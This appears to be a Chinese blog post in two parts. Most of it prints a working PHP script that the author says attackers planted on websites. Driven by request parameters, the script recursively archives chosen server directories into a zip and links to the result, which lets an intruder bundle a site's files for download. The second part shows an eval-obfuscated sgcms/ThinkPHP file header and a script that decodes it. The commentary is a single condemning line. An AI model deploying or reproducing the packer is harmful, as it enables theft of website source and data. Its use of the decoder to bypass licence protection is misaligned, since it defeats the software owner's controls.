  var $filedata = '';

  var $gzfilename;

  var $fp;

  var $dirstr='';

  var $filefilters = array();

  function SetFileFilter($filetype)

  {

  $this->filefilters = explode('|',$filetype);

  }

  function unix2DosTime($unixtime = 0)

  {

  $timearray = ($unixtime == 0) ?getdate() : getdate($unixtime);

  if ($timearray['year'] <1980)

  {

  $timearray['year'] = 1980;

  $timearray['mon'] = 1;

  $timearray['mday'] = 1;

  $timearray['hours'] = 0;

  $timearray['minutes'] = 0;

  $timearray['seconds'] = 0;

  }

  return (($timearray['year'] -1980) <<25) |($timearray['mon'] <<21) |($timearray['mday'] <<16) |($timearray['hours'] <<11) |($timearray['minutes'] <<5) |($timearray['seconds'] >>1);

  }

  function startfile($path = 'dodo.zip')

  {

  $this->gzfilename=$path;

  $mypathdir=array();

  do

  {

  $mypathdir[] = $path = dirname($path);

  }while($path != '.');

  @end($mypathdir);

  do

  {

  $path = @current($mypathdir);

  @mkdir($path);

  }while(@prev($mypathdir));

  if($this->fp=@fopen($this->gzfilename,'w'))

  {

  return true;

  }

  return false;

  }

  function addfile($data,$name)

  {

  $name = str_replace('\\','/',$name);

  if(strrchr($name,'/')=='/')

  return $this->adddir($name);

  if(!empty($this->filefilters))

  {

  if (!in_array(end(explode('.',$name)),$this->filefilters))

  {

  return;

  }

  }

  $dtime = dechex($this->unix2DosTime());

  $hexdtime = '\x'.$dtime[6] .$dtime[7] .'\x'.$dtime[4] .$dtime[5] .'\x'.$dtime[2] .$dtime[3] .'\x'.$dtime[0] .$dtime[1];

  eval('$hexdtime = "'.$hexdtime .'";');

  $unc_len = strlen($data);

  $crc = crc32($data);

  $zdata = gzcompress($data);

  $c_len = strlen($zdata);

  $zdata = substr(substr($zdata,0,strlen($zdata) -4),2);

  $datastr = "\x50\x4b\x03\x04";

  $datastr .= "\x14\x00";

  $datastr .= "\x00\x00";

  $datastr .= "\x08\x00";

  $datastr .= $hexdtime;

  $datastr .= pack('V',$crc);

  $datastr .= pack('V',$c_len);

  $datastr .= pack('V',$unc_len);

  $datastr .= pack('v',strlen($name));

  $datastr .= pack('v',0);

  $datastr .= $name;

  $datastr .= $zdata;

  $datastr .= pack('V',$crc);

  $datastr .= pack('V',$c_len);

  $datastr .= pack('V',$unc_len);

  fwrite($this->fp,$datastr);

  $my_datastr_len = strlen($datastr);

  unset($datastr);

  $dirstr = "\x50\x4b\x01\x02";

  $dirstr .= "\x00\x00";

  $dirstr .= "\x14\x00";

  $dirstr .= "\x00\x00";

  $dirstr .= "\x08\x00";

  $dirstr .= $hexdtime;

  $dirstr .= pack('V',$crc);

  $dirstr .= pack('V',$c_len);

  $dirstr .= pack('V',$unc_len);

  $dirstr .= pack('v',strlen($name) );

  $dirstr .= pack('v',0 );

  $dirstr .= pack('v',0 );

  $dirstr .= pack('v',0 );

  $dirstr .= pack('v',0 );

  $dirstr .= pack('V',32 );

  $dirstr .= pack('V',$this->datastr_len );

  $dirstr .= $name;

  $this->dirstr .= $dirstr;

  $this ->file_count ++;

  $this ->dirstr_len += strlen($dirstr);

  $this ->datastr_len += $my_datastr_len;

  }

  function adddir($name)

  {

  $name = str_replace("\\",'/',$name);

  $datastr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";

  $datastr .= pack('V',0).pack('V',0).pack('V',0).pack('v',strlen($name) );

  $datastr .= pack('v',0 ).$name.pack('V',0).pack('V',0).pack('V',0);

  fwrite($this->fp,$datastr);

  $my_datastr_len = strlen($datastr);

  unset($datastr);

  $dirstr = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";

  $dirstr .= pack('V',0).pack('V',0).pack('V',0).pack('v',strlen($name) );

  $dirstr .= pack('v',0 ).pack('v',0 ).pack('v',0 ).pack('v',0 );

  $dirstr .= pack('V',16 ).pack('V',$this->datastr_len).$name;

  $this->dirstr .= $dirstr;

  $this ->file_count ++;

  $this ->dirstr_len += strlen($dirstr);

  $this ->datastr_len += $my_datastr_len;

  }

  function createfile()

  {

  $endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00".

  pack('v',$this ->file_count) .

  pack('v',$this ->file_count) .

  pack('V',$this ->dirstr_len) .

  pack('V',$this ->datastr_len) .

  "\x00\x00";

  fwrite($this->fp,$this->dirstr.$endstr);

  fclose($this->fp);

  }

  }

  if(!trim($_REQUEST[zipname]))

  $_REQUEST[zipname] = 'dodozip.zip';

  else

  $_REQUEST[zipname] = trim($_REQUEST[zipname]);

  if(!strrchr(strtolower($_REQUEST[zipname]),'.')=='.zip')

  $_REQUEST[zipname] .= '.zip';

  $_REQUEST[todir] = str_replace('\\','/',trim($_REQUEST[todir]));

  if(!strrchr(strtolower($_REQUEST[todir]),'/')=='/')

  $_REQUEST[todir] .= '/';

  if($_REQUEST[todir]=='/')

  $_REQUEST[todir] = './';

  function listfiles($dir='.')

  {

  global $dodozip;

  $sub_file_num = 0;

  if(is_file("$dir"))

  {

  if(realpath($dodozip ->gzfilename)!=realpath("$dir"))

  {

  $dodozip ->addfile(implode('',file("$dir")),"$dir");

  return 1;

  }

  return 0;

  }

  $handle=opendir("$dir");

  while ($file = readdir($handle))

  {

  if($file=='.'||$file=='..')

  continue;

  if(is_dir("$dir/$file"))

  {

  $sub_file_num += listfiles("$dir/$file");

  }

  else

  {

  if(realpath($dodozip ->gzfilename)!=realpath("$dir/$file"))

  {

  $dodozip ->addfile(implode('',file("$dir/$file")),"$dir/$file");

  $sub_file_num ++;

  }

  }

  }

  closedir($handle);

  if(!$sub_file_num)

  $dodozip ->addfile('',"$dir/");

  return $sub_file_num;

  }

  function num_bitunit($num)

  {

  $bitunit=array(' B',' KB',' MB',' GB');

  for($key=0;$key<count($bitunit);$key++)

  {

  if($num>=pow(2,10*$key)-1)

  {

  $num_bitunit_str=(ceil($num/pow(2,10*$key)*100)/100)." $bitunit[$key]";

  }

  }

  return $num_bitunit_str;

  }

  if(is_array($_REQUEST[dfile]))

  {

  $dodozip = new PHPzip;

  if($_REQUEST['filetype'] != NULL)

  $dodozip ->SetFileFilter($_REQUEST['filetype']);

  if($dodozip ->startfile("$_REQUEST[todir]$_REQUEST[zipname]"))

  {

  echo 'Working,Please wait...<br><br>';

  $filenum = 0;

  foreach($_REQUEST[dfile] as $file)

  {

  if(is_file($file))

  {

  if(!empty($dodozip ->filefilters))

  if (!in_array(end(explode('.',$file)),$dodozip ->filefilters))

  continue;

  echo "<font face=\"wingdings\" size=\"5\">2</font>  $file<br>";

  }

  else

  {

  echo "<font face=\"wingdings\" size=\"5\">0</font> $file<br>";

  }

  $filenum += listfiles($file);

  }

  $dodozip ->createfile();

  echo "<br>success,For $filenum files.Url:<a href='$_REQUEST[todir]$_REQUEST[zipname]' _fcksavedurl='$_REQUEST[todir]$_REQUEST[zipname]'>$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).')</a>';

  }

  else

  {

  echo "$_REQUEST[todir]$_REQUEST[zipname] Error,Unable to write file.<br>";

  }

  }

  ;echo '

  </form>

  </body>

  </html>

  ';?>

  这是一个用来打包成zip的php代码,这些鸟人为了黑别人的网站什么办法都用,真恶心~~

  下如是一个高人写的ThinkPHP框架(sgcms)解密程序:

  

复制代码 代码如下:

  <?php

  // This file is protected by sgcms & provided under license.

  Copyright(C) 2007-2010 www.sgcms.cn, All rights reserved.

  $OOO0O0O00=__FILE__;

  $OOO000000=urldecode('th6sbehqla4co_sadfpnr');

  $OO00O0000=21496;

  $OOO0000O0=$OOO000000{4}.

  $OOO000000{9}.$OOO000000{3}.$OOO000000{5};

  $OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};

  $OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};

  $O0O0000O0='OOO0000O0';

  eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwM...

  很明显,是使用了某种PHP代码混淆工具混淆了下,Google网上搜了下,问题解决,给遇到同样问题的朋友一个方便。

  解密php文件:

  

复制代码 代码如下:

  <?php

  $filename="GlobalAction.class.php";//要解密的文件

  $lines = file($filename);//0,1,2行

  //第一次base64解密

  $content="";

  if(preg_match("/O0O0000O0\('.*'\)/",$lines[1],$y))

  {

  $content=str_replace("O0O0000O0('","",$y[0]);

  $content=str_replace("')","",$content);

  $content=base64_decode($content);

  }

  //第一次base64解密后的内容中查找密钥

  $decode_key="";

  if(preg_match("/\),'.*',/",$content,$k))

  {

  $decode_key=str_replace("),'","",$k[0]);

  $decode_key=str_replace("',","",$decode_key);

  }

  //查找要截取字符串长度

  $str_length="";

  if(preg_match("/,\d*\),/",$content,$k))

  {

  $str_length=str_replace("),","",$k[0]);

  $str_length=str_replace(",","",$str_length);

  }

  //截取文件加密后的密文

  $Secret=substr($lines[2],$str_length);

  //echo $Secret;

  //直接还原密文输出

  echo "<?php\n".base64_decode(strtr($Secret,$decode_key,

  'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')).

  "?>";

  ?>